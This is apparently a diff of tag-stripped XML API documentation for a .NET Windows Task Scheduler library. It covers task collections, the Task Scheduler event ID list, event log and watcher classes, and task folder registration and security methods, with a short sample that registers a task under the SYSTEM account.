Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set 